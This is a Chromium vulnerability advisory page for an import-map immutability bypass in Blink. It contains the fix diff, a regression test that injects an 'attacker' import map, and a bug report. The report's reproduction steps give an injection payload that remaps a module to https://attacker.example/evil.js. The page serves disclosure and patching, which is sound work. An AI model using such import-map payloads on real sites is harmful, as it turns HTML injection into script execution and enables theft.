Overview

Medium
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactUse after free in Script
DescriptionUse after free in Script
ComponentScript
Sub-componentBlink>HTML>Script
Bug ClassUAF
Tracker502299325
Fix commit906b35e34b11 (chromium/src) +74/-1
CISA KEVNot listed
CreditedGoogle
Disclosed2026-10-20

Changed Functions

FunctionChangeNotes
if
third_party/blink/renderer/core/script/document_modulator_impl.cc
modified
for
third_party/blink/renderer/core/script/document_modulator_impl.cc
modified

Files Changed

  • third_party/blink/web_tests/external/wpt/import-maps/multiple-import-maps/exact-url-scope-immutability.html
  • third_party/blink/renderer/core/script/document_modulator_impl.cc
  • third_party/blink/web_tests/external/wpt/import-maps/multiple-import-maps/resources/exact-url-scope-importer.js
From 906b35e34b119f873c4b960c2ab448685f16662f Mon Sep 17 00:00:00 2001
From: Yoav Weiss <[email protected]>
Date: Fri, 25 Sep 2026 03:29:15 -0700
Subject: [PATCH] Import map - avoid redefining exact match

Bug: 502299325
Change-Id: I0b4718a1f427579fd4124967ba425a5518bef4bf
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8025358
Commit-Queue: Yoav Weiss (@Shopify) <[email protected]>
Reviewed-by: Kouhei Ueno <[email protected]>
Cr-Commit-Position: refs/heads/main@{#1704687}
---
diff --git a/third_party/blink/renderer/core/script/document_modulator_impl.cc b/third_party/blink/renderer/core/script/document_modulator_impl.cc
index fdf73476..2bac37b 100644
--- a/third_party/blink/renderer/core/script/document_modulator_impl.cc
+++ b/third_party/blink/renderer/core/script/document_modulator_impl.cc
@@ -78,11 +78,14 @@
     toplevel_resolved_module_set_.insert(specifier_prefix);
   }
 
-  if (!referring_script_url) {
+  if (!referring_script_url || referring_script_url->empty()) {
     return;
   }
   Vector<AtomicString> referring_script_prefixes =
       FindUrlPrefixes(referring_script_url.value());
+  // A scope key may match the referring script URL exactly (with no trailing
+  // '/'), so include the full URL in addition to its '/'-terminated prefixes.
+  referring_script_prefixes.push_back(referring_script_url.value());
   for (const auto& referring_script_prefix : referring_script_prefixes) {
     const auto& current_set_it =
         scoped_resolved_module_map_.find(referring_script_prefix);
diff --git a/third_party/blink/web_tests/external/wpt/import-maps/multiple-import-maps/exact-url-scope-immutability.html b/third_party/blink/web_tests/external/wpt/import-maps/multiple-import-maps/exact-url-scope-immutability.html
new file mode 100644
index 0000000..2be0503
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/import-maps/multiple-import-maps/exact-url-scope-immutability.html
@@ -0,0 +1,64 @@
+<!DOCTYPE html>
+<meta charset="utf-8">
+<title>Import maps: exact-URL scope keys must not override already-resolved specifiers</title>
+<link rel="help" href="https://html.spec.whatwg.org/multipage/webappapis.html#merge-existing-and-new-import-maps">
+<link rel="help" href="https://issues.chromium.org/issues/502299325">
+<script src="/resources/testharness.js"></script>
+<script src="/resources/testharnessreport.js"></script>
+
+<script>
+  // log.js pushes into this global. Declared as a script-scoped `const` so
+  // it's visible from imported modules via the shared global lexical scope
+  // (matches the pattern used by other tests in this directory).
+  const log = [];
+</script>
+
+<!-- Initial import map: bare specifier "target" -> trusted URL. -->
+<script type="importmap">
+{
+  "imports": {
+    "target": "../resources/log.js?pipe=sub&name=trusted"
+  }
+}
+</script>
+
+<script type="module">
+// Load the referrer module. import() calls it makes will use its URL as the
+// referring script URL.
+const importerURL =
+    new URL("resources/exact-url-scope-importer.js", document.baseURI).href;
+await import(importerURL);
+
+promise_test(async () => {
+  // First import from importer's scope. Resolves "target" -> trusted via the
+  // top-level imports rule.
+  await globalThis.doImport("target");
+  assert_array_equals(log, ["log:trusted"],
+      "First import must resolve to the trusted URL.");
+
+  // Inject a second import map whose scope key is the exact URL of the
+  // referring script (no trailing '/'). Per HTML's "merge existing and new
+  // import maps" step 3.1 the ("target") rule inside this scope must be
+  // dropped: the (referring script, specifier) pair is already resolved and
+  // module specifier resolutions are required to be immutable.
+  const attackerMap = document.createElement("script");
+  attackerMap.type = "importmap";
+  attackerMap.textContent = JSON.stringify({
+    scopes: {
+      [importerURL]: {
+        "target": "../resources/log.js?pipe=sub&name=evil"
+      }
+    }
+  });
+  document.head.appendChild(attackerMap);
+
+  // Import again from importer's scope. Correct behaviour: "target" still
+  // resolves to the trusted URL (already cached, so no new log entry).
+  // Buggy behaviour: "target" resolves to the evil URL, which is a new
+  // module URL — it would be fetched and executed, appending "log:evil".
+  await globalThis.doImport("target");
+  assert_array_equals(log, ["log:trusted"],
+      "Second import must not resolve to the attacker URL; the exact-URL " +
+      "scope rule must be dropped as a conflict.");
+}, "Exact-URL scope keys do not override already-resolved specifiers");
+</script>
diff --git a/third_party/blink/web_tests/external/wpt/import-maps/multiple-import-maps/resources/exact-url-scope-importer.js b/third_party/blink/web_tests/external/wpt/import-maps/multiple-import-maps/resources/exact-url-scope-importer.js
new file mode 100644
index 0000000..01ee3ef
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/import-maps/multiple-import-maps/resources/exact-url-scope-importer.js
@@ -0,0 +1,6 @@
+// Helper module used by exact-url-scope-immutability.html.
+//
+// When globalThis.doImport(specifier) is invoked, the resulting import()
+// call's referring script URL is this file's URL. That URL is used as an
+// exact-URL scope key in the test's second import map.
+globalThis.doImport = (specifier) => import(specifier);
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/third_party/blink/web_tests/external/wpt/import-maps/multiple-import-maps/exact-url-scope-immutability.html b/third_party/blink/web_tests/external/wpt/import-maps/multiple-import-maps/exact-url-scope-immutability.html
new file mode 100644
index 0000000..2be0503
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/import-maps/multiple-import-maps/exact-url-scope-immutability.html
@@ -0,0 +1,64 @@
+<!DOCTYPE html>
+<meta charset="utf-8">
+<title>Import maps: exact-URL scope keys must not override already-resolved specifiers</title>
+<link rel="help" href="https://html.spec.whatwg.org/multipage/webappapis.html#merge-existing-and-new-import-maps">
+<link rel="help" href="https://issues.chromium.org/issues/502299325">
+<script src="/resources/testharness.js"></script>
+<script src="/resources/testharnessreport.js"></script>
+
+<script>
+  // log.js pushes into this global. Declared as a script-scoped `const` so
+  // it's visible from imported modules via the shared global lexical scope
+  // (matches the pattern used by other tests in this directory).
+  const log = [];
+</script>
+
+<!-- Initial import map: bare specifier "target" -> trusted URL. -->
+<script type="importmap">
+{
+  "imports": {
+    "target": "../resources/log.js?pipe=sub&name=trusted"
+  }
+}
+</script>
+
+<script type="module">
+// Load the referrer module. import() calls it makes will use its URL as the
+// referring script URL.
+const importerURL =
+    new URL("resources/exact-url-scope-importer.js", document.baseURI).href;
+await import(importerURL);
+
+promise_test(async () => {
+  // First import from importer's scope. Resolves "target" -> trusted via the
+  // top-level imports rule.
+  await globalThis.doImport("target");
+  assert_array_equals(log, ["log:trusted"],
+      "First import must resolve to the trusted URL.");
+
+  // Inject a second import map whose scope key is the exact URL of the
+  // referring script (no trailing '/'). Per HTML's "merge existing and new
+  // import maps" step 3.1 the ("target") rule inside this scope must be
+  // dropped: the (referring script, specifier) pair is already resolved and
+  // module specifier resolutions are required to be immutable.
+  const attackerMap = document.createElement("script");
+  attackerMap.type = "importmap";
+  attackerMap.textContent = JSON.stringify({
+    scopes: {
+      [importerURL]: {
+        "target": "../resources/log.js?pipe=sub&name=evil"
+      }
+    }
+  });
+  document.head.appendChild(attackerMap);
+
+  // Import again from importer's scope. Correct behaviour: "target" still
+  // resolves to the trusted URL (already cached, so no new log entry).
+  // Buggy behaviour: "target" resolves to the evil URL, which is a new
+  // module URL — it would be fetched and executed, appending "log:evil".
+  await globalThis.doImport("target");
+  assert_array_equals(log, ["log:trusted"],
+      "Second import must not resolve to the attacker URL; the exact-URL " +
+      "scope rule must be dropped as a conflict.");
+}, "Exact-URL scope keys do not override already-resolved specifiers");
+</script>
diff --git a/third_party/blink/web_tests/external/wpt/import-maps/multiple-import-maps/resources/exact-url-scope-importer.js b/third_party/blink/web_tests/external/wpt/import-maps/multiple-import-maps/resources/exact-url-scope-importer.js
new file mode 100644
index 0000000..01ee3ef
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/import-maps/multiple-import-maps/resources/exact-url-scope-importer.js
@@ -0,0 +1,6 @@
+// Helper module used by exact-url-scope-immutability.html.
+//
+// When globalThis.doImport(specifier) is invoked, the resulting import()
+// call's referring script URL is this file's URL. That URL is used as an
+// exact-URL scope key in the test's second import map.
+globalThis.doImport = (specifier) => import(specifier);
Loading diff…

Original Bug Report

reported by [email protected]

Bypass of Import Map immutability allows XSS via exact URL scope

Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports without the Chrome Security team.

Overview: A logic error in Chromium’s Import Map implementation allows newly added import maps to override module mappings for scripts that have already resolved modules. The exact URL of a referring script is not properly recorded during module resolution, allowing an attacker with HTML injection capabilities to inject an import map using an exact URL scope that bypasses immutability conflict checks.

Affected files:

  • third_party/blink/renderer/core/script/document_modulator_impl.cc
  • third_party/blink/renderer/core/script/import_map.cc

Estimated timestamp from git blame: 2025-11-25

Description

The HTML specification requires that once a module specifier has been resolved for a given referring script, that resolution must remain immutable, even if subsequent import maps are registered. Chromium implements a defense-in-depth mechanism to enforce this by maintaining a set of resolved (referring script, specifier) pairs in DocumentModulatorImpl::scoped_resolved_module_map_.

However, a discrepancy in how this map is populated and checked during the merging of multiple import maps allows this immutability invariant to be bypassed.

Technical Analysis

  1. When a module is resolved, DocumentModulatorImpl::AddModuleToResolvedModuleSet records the resolution. To support prefix-based scope matching, it generates URL prefixes for the referring script using FindUrlPrefixes.
  2. FindUrlPrefixes (third_party/blink/renderer/core/script/document_modulator_impl.cc:16-29) splits the URL and only returns prefixes that terminate with a / character (e.g., https://example.com/js/).
  3. Crucially, if the referring script is https://example.com/js/app.js, its exact URL string is not returned by FindUrlPrefixes. Consequently, the exact URL is never added as a key to scoped_resolved_module_map_.
  4. When a new <script type="importmap"> is injected into the document, ImportMap::MergeExistingAndNewImportMaps checks for conflicts to prevent overriding existing resolutions (third_party/blink/renderer/core/script/import_map.cc:746). It performs an exact string lookup: scoped_resolved_module_map.find(scope).
  5. If the new import map defines a scope using the exact URL of the referring script (e.g., "scopes": {"https://example.com/js/app.js": { ... }}), the lookup fails because that exact URL was never added as a key. The conflict check is bypassed, and the malicious mapping is merged.
  6. Later, when the legitimate script (https://example.com/js/app.js) dynamically imports the same specifier, ImportMap::Resolve checks the newly merged scopes (third_party/blink/renderer/core/script/import_map.cc:541). Because the referring script URL exactly matches the attacker’s scope (scope == base_url.GetString()), the attacker’s mapping is used.
  7. Chromium’s ModuleMap caches fetched modules by their resolved KURL, not by their specifier. Therefore, the new resolved URL is treated as a new module, fetched, and executed.

Potential Impact

If an attacker has an HTML injection primitive on a page utilizing JavaScript modules, they can inject an import map to redefine mappings for already-loaded scripts. By redirecting subsequent dynamic imports to attacker-controlled URLs, this escalates the HTML injection into Same-Origin Script Execution (XSS).

Note: These steps are based on static code analysis; our tooling has not executed a working proof-of-concept payload.

Potential Reproduction Steps

  1. Serve a page at https://example.com/index.html with an initial valid import map mapping "react" to a trusted CDN.
  2. The page loads a module script https://example.com/js/app.js which executes import 'react'. This resolves to the trusted CDN. DocumentModulatorImpl::AddModuleToResolvedModuleSet is called, but the exact URL https://example.com/js/app.js is not added as a key to scoped_resolved_module_map_.
  3. Leverage HTML injection to append a second import map: <script type="importmap">{"scopes": {"https://example.com/js/app.js": {"react": "https://attacker.example/evil.js"}}}</script>.
  4. During the merge process, the exact URL scope bypasses the conflict check because it is not found in scoped_resolved_module_map_.
  5. app.js subsequently calls import('react') dynamically.
  6. ImportMap::Resolve matches the exact URL scope and resolves 'react' to https://attacker.example/evil.js. The browser fetches and executes the attacker’s script.

Suggested Fix

Modify DocumentModulatorImpl::AddModuleToResolvedModuleSet to explicitly add the exact referring_script_url as a key to scoped_resolved_module_map_, in addition to the prefixes generated by FindUrlPrefixes.

  if (!referring_script_url)
    return;

  // Add the exact URL to ensure exact scope matching works during conflict checks.
  auto& exact_url_set = scoped_resolved_module_map_.insert(referring_script_url.value(), HashSet<AtomicString>()).stored_value->value;
  exact_url_set.insert(specifier);
  for (const auto& specifier_prefix : specifier_prefixes) {
    exact_url_set.insert(specifier_prefix);
  }

  Vector<AtomicString> referring_script_prefixes =
      FindUrlPrefixes(referring_script_url.value());
  // ... rest of the existing prefix loop ...

Evaluated with Chrome root at commit: 096fc8fdbfacf2546485756d03f160a3d04fcc9b


Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

View on issue tracker